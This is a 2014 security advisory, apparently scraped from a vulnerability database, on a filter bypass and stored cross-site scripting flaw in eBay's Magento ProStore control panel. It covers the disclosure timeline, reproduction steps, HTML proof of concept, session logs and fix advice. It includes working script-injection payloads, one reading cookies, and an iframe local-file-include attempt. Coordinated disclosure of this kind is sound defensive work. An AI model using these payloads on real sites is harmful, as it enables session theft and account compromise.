{"href": "http://www.vulnerability-lab.com/get_content.php?id=1265", "sourceData": "Document Title:\r\n===============\r\nEbay Magento PS CP #4 - Bypass & Persistent Vulnerability\r\n\r\n\r\nReferences (Source):\r\n====================\r\nhttp://www.vulnerability-lab.com/get_content.php?id=1265\r\n\r\nEbay Inc ID: EIBBP-28091\r\n\r\nVideo: http://www.vulnerability-lab.com/get_content.php?id=1276\r\n\r\nView: https://www.youtube.com/watch?v=v8_knMYRUOQ\r\n\r\nVulnerability Magazine: http://vulnerability-db.com/magazine/articles/2014/08/04/ebay-magento-fixed-application-side-vulnerability-filter-bypass-prostore\r\n\r\n\r\nRelease Date:\r\n=============\r\n2014-08-04\r\n\r\n\r\nVulnerability Laboratory ID (VL-ID):\r\n====================================\r\n1265\r\n\r\n\r\nCommon Vulnerability Scoring System:\r\n====================================\r\n5.7\r\n\r\n\r\nProduct & Service Introduction:\r\n===============================\r\nOur team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting this data? \r\nOur security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability inside our system, please tell us right away.\r\nTo report security vulnerabilities in Magento software or web sites, use the eBay Inc. Bug Bounty tool. A list of sites eligible for bounties and the vulnerability \r\nclasses that are in scope are detailed below.\r\n\r\nProstores - (mystore.prostores.com, store0*.prostores.com)\r\nResearchers must register their own trial stores in order to perform testing on the ProStores platform. As long as each account is cancelled before 30 days, \r\nthere will be no charge. NO testing of any kind may be performed by researchers against stores they did not register themselves, especially existing stores \r\nbelonging to real merchants. Researchers are encouraged to name their stores in such a way that they`re easily identifiable as their own. Bugs will NOT be \r\naccepted in stores not owned by the researcher; such research may result in disqualification for future bounties. Cross-Site Scripting (XSS) bugs in the admin \r\ninterface (URLs containing /Admin/) will NOT be accepted. Merchants are explicitly allowed to use active content when designing their stores, so this is a \r\nrequired feature. Merchants may configure their stores to use their own domains if they are concerned about the risk of XSS attacks against their customers \r\nor store. The same bug WILL NOT be eligible for bounties on two or more subdomains. Such a bug will only be eligible for a single bounty payment. \r\nFor example: store01.prostores.com, store02.prostores.com, and mystore.prostores.com are all considered the same domain running the same code for \r\nthe purposes of the bounty program.\r\n\r\n(Copy of the Homepage: http://magento.com/security )\r\n\r\n\r\nAbstract Advisory Information:\r\n==============================\r\nThe Vulnerability Laboratory Research Team has discovered a filter bypass & persistent vulnerability in the Ebay Inc Magento ProStore CP web-application and api.\r\n\r\n\r\nVulnerability Disclosure Timeline:\r\n==================================\r\n2014-05-15: Researcher Notification & Coordination (Benjamin Kunz Mejri)\r\n2014-05-16: Vendor Notification (PayPal Inc Site Security Team - Bug Bounty Program)\r\n2014-06-27: Vendor Response/Feedback (PayPal Inc Site Security Team - Bug Bounty Program)\r\n2014-07-31: Vendor Fix/Patch (Magento Developer Team - Updates 31th July)\r\n2014-08-04: Public Disclosure (Vulnerability Laboratory)\r\n\r\n\r\nDiscovery Status:\r\n=================\r\nPublished\r\n\r\n\r\nAffected Product(s):\r\n====================\r\nEbay Inc.\r\nProduct: Magento - ProStore Application & API 2014 Q2\r\n\r\n\r\nExploitation Technique:\r\n=======================\r\nRemote\r\n\r\n\r\nSeverity Level:\r\n===============\r\nMedium\r\n\r\n\r\nTechnical Details & Description:\r\n================================\r\nA filter bypass and persistent input validation web vulnerability has been discovered in the official Ebay ProStore CP Applicaiton (API).\r\nThe filter issue allows remote attackers to use of special tricks to bypass the regular web formular validation of for example a payment.\r\nThe persistent input validation vulnerability allows an attacker to inject own malicious script codes on the application-side of the service.\r\n\r\nThe filter bypass issue is located in the regular registration formular of the ebay prostore application service. Remote attackers are able \r\nto bypass the user first- & lastname input fields restriction of the framework. Remote attackers are able to inject own payloads by holding \r\n`strg+v` (combo - copy-paste) to keep the payload inside of the input field. Next to holding the buttons the attacker clicks the send button.\r\nThe filter protection of the application and api does not have a second proof of validation next to sending a registration formular with the \r\ntrick and script code payloads in the last- & firstname values. After the first save of the input value and jump to the payment via paypal \r\nmenu the attacker can save one string per request to the user credentials. By including in the first request procedure only one payload in \r\nfor example the firstname value, the attacker can include via the same way also in the last-name after activating a paypal payment account.\r\n\r\nThe persistent input validation vulnerability is located in the vulnerable cardholder value of the payment information and payment details module.\r\nThe vulnerability can be exploited by remote attackers with low privileged application user accounts. The attacker vector is persistent and the \r\nexecution of the injected payload occurs in the /cp/ payment and not the /admin/ on the applicat-side. To exploit the persistent vulnerability, \r\nits required to use the reported filter bypass ago.\r\n\r\nNote: We are not sure yet if the persistent issue also affects the manager/admin backend when reviewing the payment information of us. Should be checked \r\nby internal with feedback. All interaction with the compromised test payment information should be reviewed by different perspectives on interaction.\r\n\r\nExploitation of the filter bypass issue requires no privileged application user account and no user interaction. Exploitation of the persistent \r\ninput validation web vulnerability requires a low privileged application user account and low or medium user interaction. Successful exploitation \r\nof the filter issue leads to evasion of the regular scheme. Successful exploitation of the persistent input validation web vulnerability\r\n\r\nRequest Method(s):\r\n\t\t\t\t[+] [POST]\r\n\r\nVulnerable Module(s):\r\n\t\t\t\t[+] ../CP/ > Payment Information & payment Details (Card Details)\r\n\r\nVulnerable File(s):\r\n\t\t\t\t[+] store_payment_info.php\r\n\r\nVulnerable Parameter(s):\r\n\t\t\t\t[+] first- & lastname\r\n\t\t\t\t[+] Cardholder Name\r\n\r\nAffected Module(s): \r\n\t\t\t\t[+] https://mystore.prostores.com/CP/\r\n\r\n\r\nProof of Concept (PoC):\r\n=======================\r\nThe filter bypass issue can be exploited by remote attackers without user interaction or privileged appliation user account. \r\nThe persistent input validation web vulnerability can be exploited by remote attackers with low privileged application user \r\naccount and low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided \r\nsteps and information below to continue.\r\n\r\nSteps:\r\n1. Register an account at prostore for testings and policy\r\n2. On the registration you include in the lastname a payload and press strg+v, then you click the send button\r\n3. You get redirected to include the payment information and link a paypal account\r\n4. You get redirected again back to the registration step one with the linked account\r\n5. You press strg+v and hold it for including in the firstname (only one input per loop), press next to it via mouse the send button and complete the procedure of registration\r\n6. Login to the cp and visit the following payment information url\r\nNote: All interaction with the compromised payment information can have an affect to the moderator/administrator backend on review or interaction.\r\n7. Successful reproduce of the filter bypass issue in the registration and persistent issue in the payment information!\r\n\r\n\r\nPoC: ProStores - Payment Information > Payment\r\n\r\n <div id=\"ccInfoReadMode\" style=\"display: none\">\r\n <table width=\"50%\">\r\n <tbody><tr>\r\n <td bgcolor=\"#C0D9E8\">\r\n <strong>Card Details</strong>\r\n </td>\r\n </tr>\r\n <tr>\r\n <td>\r\n PayPal </td>\r\n </tr>\r\n <tr>\r\n <td>\r\n Expires: / </td>\r\n </tr>\r\n <tr>\r\n <td> </td>\r\n </tr>\r\n <tr>\r\n <td bgcolor=\"#C0D9E8\">\r\n <strong>Cardholder Name and Address</strong>\r\n </td>\r\n </tr>\r\n <tr>\r\n <td>\r\n imgsrcxonerrorprompt23 \"><img src=\"x\" onerror=\"prompt(23);\"> </td>\r\n </tr>\r\n <tr>\r\n <td>\r\n \"><img src=\"x\" onerror=\"prompt(23);\"><br>\r\n </td>\r\n </tr>\r\n <tr>\r\n <td>\r\n \"><img src=\"x\" onerror=\"prompt(23);\">, 34128 </td>\r\n </tr>\r\n <tr>\r\n <td>\r\n DE </td>\r\n </tr>\r\n </tbody></table>\r\n\r\nNote: The vulnerable file which executes the code is not located in /admin/ and affects the payment information via CP > https://mystore.prostores.com/CP/store_payment_info.php\r\n\r\nPayload: \r\nXSS \t\t> %20<img src=\"http://evolution-sec.com/sites/default/files/65-2_0.png\" onerror=\"prompt(23);\"> or %20><script>alert(document.cookie)</script><div style=\"1\r\nLFI EXEC \t> %20&<iframe src=../../[LOCAL WEB-SERVER FILE URL]>%20<iframe>\r\n\r\n\r\n--- PoC Session Logs [GET] --- \r\n18:15:47.980[2008ms][total 2008ms] Status: 200[Found]\r\nGET https://mystore.prostores.com/CP/x Load Flags[VALIDATE_ALWAYS ] Gr\u00f6\u00dfe des Inhalts[202] Mime Type[text/html]\r\n Request Header:\r\n Host[mystore.prostores.com]\r\n User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]\r\n Accept[image/png,image/*;q=0.8,*/*;q=0.5]\r\n Accept-Language[de,en-US;q=0.7,en;q=0.3]\r\n Accept-Encoding[gzip, deflate]\r\n Referer[https://mystore.prostores.com/CP/store_payment_info.php]\r\n Cookie[PHPSESSID=826428ce1004e4ba19f9a51e500ccce9; __utma=207397714.1830693225.1400083192.1400083192.1400083192.1; __utmb=207397714.28.10.1400083192; __utmc=207397714; __utmz=207397714.1400083192.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pstoken=d64c7ede0e1cdf732f6c3d0e2ad1e003]\r\n Connection[keep-alive]\r\n Response Header:\r\n Date[Wed, 14 May 2014 16:16:06 GMT]\r\n Server[Apache]\r\n Content-Length[202]\r\n Connection[close]\r\n Content-Type[text/html; charset=iso-8859-1]\r\n\r\n18:16:51.227[237ms][total 237ms] Status: 200[OK]\r\nGET https://mystore.prostores.com/CP/x Load Flags[LOAD_NORMAL] Gr\u00f6\u00dfe des Inhalts[202] Mime Type[text/html]\r\n Request Header:\r\n Host[mystore.prostores.com]\r\n User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]\r\n Accept[image/png,image/*;q=0.8,*/*;q=0.5]\r\n Accept-Language[de,en-US;q=0.7,en;q=0.3]\r\n Accept-Encoding[gzip, deflate]\r\n Referer[https://mystore.prostores.com/CP/store_payment_info.php]\r\n Cookie[PHPSESSID=826428ce1004e4ba19f9a51e500ccce9; __utma=207397714.1830693225.1400083192.1400083192.1400083192.1; __utmb=207397714.28.10.1400083192; __utmc=207397714; __utmz=207397714.1400083192.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pstoken=d64c7ede0e1cdf732f6c3d0e2ad1e003]\r\n Connection[keep-alive]\r\n Response Header:\r\n Date[Wed, 14 May 2014 16:17:07 GMT]\r\n Server[Apache]\r\n Content-Length[202]\r\n Connection[close]\r\n Content-Type[text/html; charset=iso-8859-1]\r\n\r\n\r\nNote: Shows the execution GET method request in the regular cp service after the inject in the registration. \r\nThe full poc session logs with registration is available in the attachment. The issue can also be used to \r\nrequest local path through the trusted value context of the payment. The result could be a local file or \r\npath include to request unauthorized local web-sevrer content by processing a payment.\r\n\r\nTest Shop Data for Magento Bug Bounty & Reward Policy:\r\n\r\nPOST-Daten:\r\nform_token\r\n[4ead7270771d9a8b1bf119956fa2ce62]\r\nform_step[step1]\r\nusername[imgsrcxonerrorprompt23]\r\nemail[bkm%40evolution-sec.com]\r\npassword[chaos666]\r\nconfirm_password[chaos666]\r\nindustry[29]\r\noffer[]\r\nded_store_name[+%22%3E%3Cimg+src%3Dx+onerror\r\n%3Dprompt(23)%3B%3E]\r\nshared_store_name[+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt(23)%3B%3E]\r\nnext[]\r\nelqSiteID[2299]\r\nelqFormName[PHP_Repost_SignUp]\r\nebay_seller_ID[]\r\nebay_seller_level[]\r\nebay_store_flag[0]\r\nebay_Customer[0]\r\nprefix[store01]\r\npromotion[]\r\nsignup_complete[0]\r\n\r\n\r\nReference(s):\r\nhttps://mystore.prostores.com/CP/store_payment_info.php\r\nhttps://mystore.prostores.com/CP/[CODE EXECUTION!]\r\nhttps://mystore.prostores.com/CP/\r\nhttp://www.prostores.com/signup.html\r\nhttp://www.prostores.com/ecommerce-online-sellers.html\r\nhttps://mystore.prostores.com/provisioning/register.php\r\nhttps://mystore.prostores.com/scr/jquery.js\r\n\r\n\r\nPicture(s):\r\n\t\t\t\t../1.png\r\n\t\t\t\t../2.png\r\n\t\t\t\t../3.png\r\n\t\t\t\t../4.png\r\n\r\nResource(s):\r\n\t\t\t\t../ProStores - Payment Information.htm\r\n\t\t\t\t../poc-session-logs.txt (filtered only FULL LOGS ATTACK + REGISTRATION PROSTORE)\r\n\t\t\t\t../poc-source.txt (Code Execution)\r\n\r\n\r\nSolution - Fix & Patch:\r\n=======================\r\nThe vulnerability of the filter issue can be patched by a secure restriction of the cardholder, first- & lastname input fields.\r\nRestrict them and disallow special char with a second validation check to prevent the filter evasion issue fully.\r\n\r\nThe persistent input validation vulnerability can be patched by a secure parse and encode of the user credentials in the main store_payment_info.php CP file.\r\n\r\n\r\nSecurity Risk:\r\n==============\r\nThe security risk of the filter bypass issue in the prostore application service is estimated as medium.\r\nThe security risk of the persistent input validation web vulnerability is estimated as medium(+).\r\n\r\n\r\nCredits & Authors:\r\n==================\r\nVulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [admin@vulnerability-lab.com] [www.vulnerability-lab.com]\r\n\r\n\r\nDisclaimer & Information:\r\n=========================\r\nThe information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either \r\nexpressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers \r\nare not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even \r\nif Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation \r\nof liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break \r\nany vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.\r\n\r\nDomains: www.vulnerability-lab.com \t- www.vuln-lab.com\t\t\t \t\t- www.evolution-sec.com\r\nContact: admin@vulnerability-lab.com \t- research@vulnerability-lab.com \t \t\t- admin@evolution-sec.com\r\nSection: dev.vulnerability-db.com\t \t- forum.vulnerability-db.com \t\t \t\t- magazine.vulnerability-db.com\r\nSocial:\t twitter.com/#!/vuln_lab \t\t- facebook.com/VulnerabilityLab \t \t\t- youtube.com/user/vulnerability0lab\r\nFeeds:\t vulnerability-lab.com/rss/rss.php\t- vulnerability-lab.com/rss/rss_upcoming.php \t\t- vulnerability-lab.com/rss/rss_news.php\r\nPrograms: vulnerability-lab.com/submit.php \t- vulnerability-lab.com/list-of-bug-bounty-programs.php\t- vulnerability-lab.com/register/\r\n\r\nAny modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to \r\nelectronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by \r\nVulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website \r\nis trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact \r\n(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.\r\n\r\n\t\t\t\tCopyright \u00a9 2014 | Vulnerability Laboratory [Evolution Security]\r\n\r\n\r\n\r\n", "bulletinFamily": "exploit", "modified": "2014-08-04T00:00:00", "title": "Ebay Magento PS CP #4 - Bypass & Persistent Vulnerability", "cvss": {"vector": "NONE", "score": 0.0}, "cvelist": [], "description": "", "viewCount": 15, "published": "2014-08-04T00:00:00", "edition": 3, "id": "VULNERLAB:1265", "type": "vulnerlab", "lastseen": "2019-07-10T16:42:10", "reporter": "Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [admin@vulnerability-lab.com] [www.vulnerability-lab.com]", "enchantments": {"dependencies": {"references": [], "modified": "2019-07-10T16:42:10", "rev": 2}, "score": {"value": -0.1, "vector": "NONE", "modified": "2019-07-10T16:42:10", "rev": 2}, "vulnersScore": -0.1}, "references": [], "scheme": null, "immutableFields": []}

{}